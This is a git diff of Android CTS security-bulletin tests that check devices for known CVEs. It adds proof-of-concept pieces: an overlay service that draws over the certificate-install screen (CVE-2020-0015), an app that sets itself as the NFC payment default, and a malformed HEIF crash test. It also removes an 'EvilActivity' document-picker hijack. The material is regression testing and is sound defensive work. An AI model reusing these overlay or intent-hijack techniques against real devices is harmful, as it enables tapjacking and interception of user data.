+        AdbUtils.runCommandLine("pm set-harmful-app-warning " + HARMFUL_PKG + " harmful 0", device);
+
+        installPackage(TEST_APP);
+
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
+
+        AdbUtils.runCommandLine("input keyevent KEYCODE_BACK", device);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
new file mode 100644
index 0000000..1c1b246
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39804 extends SecurityTestCase {
+
+    /**
+     * b/215002587
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libheif (As per AOSP code)
+     * Vulnerable Function: reinit (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 215002587)
+    @Test
+    public void testPocCVE_2021_39804() throws Exception {
+        String inputFiles[] = {"cve_2021_39804.heif"};
+        String binaryName = "CVE-2021-39804";
+        String signals[] = {CrashUtils.SIGSEGV};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config =
+                new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+                        new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
+        testConfig.config.checkMinAddress(false);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
new file mode 100644
index 0000000..f952082
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39810.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39810 extends StsExtraBusinessLogicHostTestBase {
+
+    @AsbSecurityTest(cveBugId = 212610736)
+    @Test
+    public void testPocCVE_2021_39810() {
+        try {
+            // clearing default payment app component if already set
+            AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+                    getDevice());
+            installPackage("CVE-2021-39810.apk");
+            String defaultComponent = AdbUtils.runCommandLine(
+                    "settings get secure nfc_payment_default_component", getDevice());
+            AdbUtils.runCommandLine("settings put secure nfc_payment_default_component null",
+                    getDevice());
+            assertFalse("Vulnerable to 212610736! Setting default payment app without user consent",
+                    defaultComponent.contains("PocService"));
+        } catch (Exception e) {
+            // assumption failure if a generic exception is thrown by AdbUtils.runCommandLine()
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0353c3d..d7a3afc7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -19,6 +19,7 @@
 import com.android.compatibility.common.util.MetricsReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.testtype.IBuildReceiver;
@@ -49,7 +50,7 @@
 import static org.junit.Assume.*;
 import static org.hamcrest.core.Is.is;
 
-public class SecurityTestCase extends BaseHostJUnit4Test {
+public class SecurityTestCase extends StsExtraBusinessLogicHostTestBase {
 
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
@@ -58,7 +59,7 @@
     // account for the poc timer of 5 minutes (+15 seconds for safety)
     protected static final int TIMEOUT_NONDETERMINISTIC = 315;
 
-    private long kernelStartTime;
+    private long kernelStartTime = -1;
 
     private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
@@ -119,9 +120,13 @@
             getDevice().waitForDeviceAvailable(30 * 1000);
         }
 
-        long deviceTime = getDeviceUptime() + kernelStartTime;
-        long hostTime = System.currentTimeMillis() / 1000;
-        assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+        if (kernelStartTime != -1) {
+            // only fail when the kernel start time is valid
+            long deviceTime = getDeviceUptime() + kernelStartTime;
+            long hostTime = System.currentTimeMillis() / 1000;
+            assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+            kernelStartTime = -1;
+        }
 
         // TODO(badash@): add ability to catch runtime restart
     }
@@ -340,7 +345,7 @@
         String supportedDrivers[] = { "/dev/nq-nci*", "/dev/pn54*", "/dev/pn551*", "/dev/pn553*",
                                       "/dev/pn557*", "/dev/pn65*", "/dev/pn66*", "/dev/pn67*",
                                       "/dev/pn80*", "/dev/pn81*", "/dev/sn100*", "/dev/sn220*",
-                                      "/dev/st54j*" };
+                                      "/dev/st54j*", "/dev/st21nfc*" };
         boolean isDriverFound = false;
         for(String supportedDriver : supportedDrivers) {
             if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b8..e44a04a 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
 
 /** Basic sample for unbundled UiAutomator. */
 @RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@
         mContext.startActivity(intent);
 
         UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
-        assertNotNull("Activity under-test was not launched or found!", view);
+        assumeNotNull("Activity under-test was not launched or found!", view);
         Log.d(LOG_TAG, "Started Activity under-test.");
     }
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
index bcbf54f..4efed42 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-cc_test {
-    name: "CVE-2020-29368",
-    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
-    srcs: ["poc.cpp",],
+android_test_helper_app {
+    name: "CVE-2020-0015",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
new file mode 100644
index 0000000..7685c35
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2020_0015"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2020_0015"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true" />
+    </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2020_0015" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
new file mode 100644
index 0000000..f0a0779
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
new file mode 100644
index 0000000..93f9df8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+     http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+    <string name="activityNotStartedException">Unable to start the %1$s</string>
+    <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="certName">Sample Certificate</string>
+    <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+    <string name="intentExtraKeyCert">CERT</string>
+    <string name="intentExtraKeyName">name</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with
+    SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+    <string name="streamReadError">Could not read from the raw resource cacert</string>
+    <string name="streamReadWriteException">Error while trying to read from InputStream object
+    and writing to a ByteArrayOutputStream object</string>
+    <string name="testPkg">android.security.cts.CVE_2020_0015</string>
+    <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
new file mode 100644
index 0000000..f42eb75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    String testVulnerablePackage = "";
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(
+                    context.getString(R.string.activityNotStartedException, "overlay service"), e);
+        }
+    }
+
+    private void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        assertNotNull(context);
+
+        InputStream inStream = context.getResources().openRawResource(R.raw.cacert);
+        assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null);
+        ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+        byte[] data = new byte[1024];
+        try {
+            int nRead = inStream.read(data, 0, data.length);
+            assumeTrue(context.getString(R.string.streamReadError), nRead > 0);
+            outStream.write(data, 0, nRead);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.streamReadWriteException), e);
+        }
+
+        Intent intent = KeyChain.createInstallIntent();
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(context.getString(R.string.intentExtraKeyName),
+                context.getString(R.string.certName));
+        intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray());
+        PackageManager pm = context.getPackageManager();
+        ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+        testVulnerablePackage = ri.activityInfo.packageName;
+
+        try {
+            context.startActivity(intent);
+        } catch (ActivityNotFoundException e) {
+            assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Context context = getApplicationContext();
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        final int launchTimeoutMs = 20000;
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = false;
+        if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+                launchTimeoutMs)) {
+            overlayDisallowed = true;
+        }
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(
+                    context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage),
+                activityPattern.matcher(activityDump).find());
+
+        /* Failing the test as fix is not present */
+        assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage),
+                overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
new file mode 100644
index 0000000..d8563d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    private Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        Context context = getApplicationContext();
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText(context.getString(R.string.overlayButtonText));
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
deleted file mode 100644
index eb4890b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:tools="http://schemas.android.com/tools"
-          package="android.security.cts.CVE_2021_0481"
-          android:targetSandboxVersion="2">
-
-  <application>
-    <uses-library android:name="android.test.runner"/>
-
-    <activity android:name=".EvilActivity" android:exported="true">
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.OPEN_DOCUMENT"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.CREATE_DOCUMENT"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.GET_CONTENT"/>
-                <category android:name="android.intent.category.OPENABLE"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-                <data android:mimeType="*/*"/>
-            </intent-filter>
-            <intent-filter android:priority="100">
-                <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-            </intent-filter>
-    </activity>
-
-  </application>
-
-  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-    android:targetPackage="android.security.cts.CVE_2021_0481" />
-
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
deleted file mode 100644
index 891bd18..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2021_0481;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.SystemClock;
-import android.util.Log;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-import androidx.test.uiautomator.BySelector;
-
-import java.util.List;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-
-/**
- * launch "Settings" app
- * set up user photo
- */
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-
-  class ClickableNotFound extends Exception{
-    public ClickableNotFound(String s){
-      super(s);
-    }
-  }
-
-  private static final String BASIC_SAMPLE_PACKAGE
-          = "android.security.cts.CVE_2021_0481";
-  private static final int LAUNCH_TIMEOUT_MS = 20000;
-  private static final String TAG = "TAG_2021_0481";
-  private static final int IS_FOUND_FLAG = 1;          // 0001
-  private static final int IS_CHECKED_FLAG = 2;        // 0010
-  private UiDevice mDevice;
-
-  @Test
-  public void testUserPhotoSetUp() {
-
-    //set mDevice and go to homescreen
-    mDevice = UiDevice.getInstance(getInstrumentation());
-    mDevice.pressHome();
-
-    //start "Settings" app
-    Intent myIntent = new Intent("android.settings.USER_SETTINGS");
-                                //android.provider.Settings.ACTION_USER_SETTINGS
-    myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-    try{
-      getApplicationContext().startActivity(myIntent);
-    } catch(android.content.ActivityNotFoundException e){
-      Log.d(TAG, "Activity to be tested  doesn't exist. Test will pass.");
-      return;
-    }
-
-    //wait for "User Settings" activity to appear.
-    SystemClock.sleep(6000);
-
-    //perform UI test steps
-    try {
-
-      //in "Multiple users" activity showing "Use multiple users" switch
-      searchAndClick(mDevice, "android:id/switch_widget", 2000);
-
-      //in "Multiple users" activity showing a list of current users,
-      //look for the first item "android:id/title" on the list showing "You(Owner)"
-      searchAndClick(mDevice, "android:id/title", 2000);
-
-      //in "Profile Info" dialog window showing clickable user silhouette
-      //look for clickable android.widget.ImageView object with attributes:
-      // getContentDescription()=Select photo
-      // getResourceName()=com.android.settings:id/user_photo
-      searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
-
-      //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
-      searchAndClick(mDevice, "Choose an image", 6000);
-
-      //in "Browse Files in Other Apps" activity
-      searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
-
-      //Image is chosen as (evilActivity) so we are getting back to
-      //"Profile Info" dialog window showing clickable user silhouette
-      //end "Cancel" and "OK" buttons.
-      //look for "Cancel button and click it"
-      searchAndClick(mDevice, "Cancel", 2000);
-
-    } catch (ClickableNotFound e){
-      Log.d(TAG, e.toString());
-      assumeNoException(e);
-    }
-    Log.d(TAG, "end of testUserPhotoSetUp()");
-  }
-
-  //see what is on screen and click on object containing name
-  //throw exception if object not found
-  private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
-
-    int ret;
-    List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
-    boolean found = false;
-    Log.d(TAG, "looking for " + name);
-    Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
-
-    if(objects != null){
-      for (UiObject2 o : objects) {
-        if((ret=searchAndLog(o, name, "")) !=0 )
-        {
-          found=true;
-          Log.d(TAG, name + " found");
-          if((ret & IS_CHECKED_FLAG) == 0) {
-              o.click();
-              Log.d(TAG, name + " clicked");
-              SystemClock.sleep(timeOut); //wait for click result to appear onscreen
-          }
-          break; //to avoid androidx.test.uiautomator.StaleObjectException
-        }
-      }
-    }
-    if(!found) {
-      throw new ClickableNotFound("\"" + name + "\" not found to click on");
-    }
-  }
-
-  //Search for 'name' in UiObject2
-  //returns int flags showing search result:
-  // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
-  // IS_FOUND_FLAG - 'name' matches anything else
-  private int searchAndLog(UiObject2 o, String name, String prefix){
-
-    int ret = 0;
-    String lname = o.getText();
-    String cname = o.getClassName();
-    String cdesc = o.getContentDescription();
-    String rname = o.getResourceName();
-    boolean checked = o.isChecked();
-
-    Log.d(TAG, prefix + "class=" + cname);
-    Log.d(TAG, prefix + "o.getText()=" + lname);
-    Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
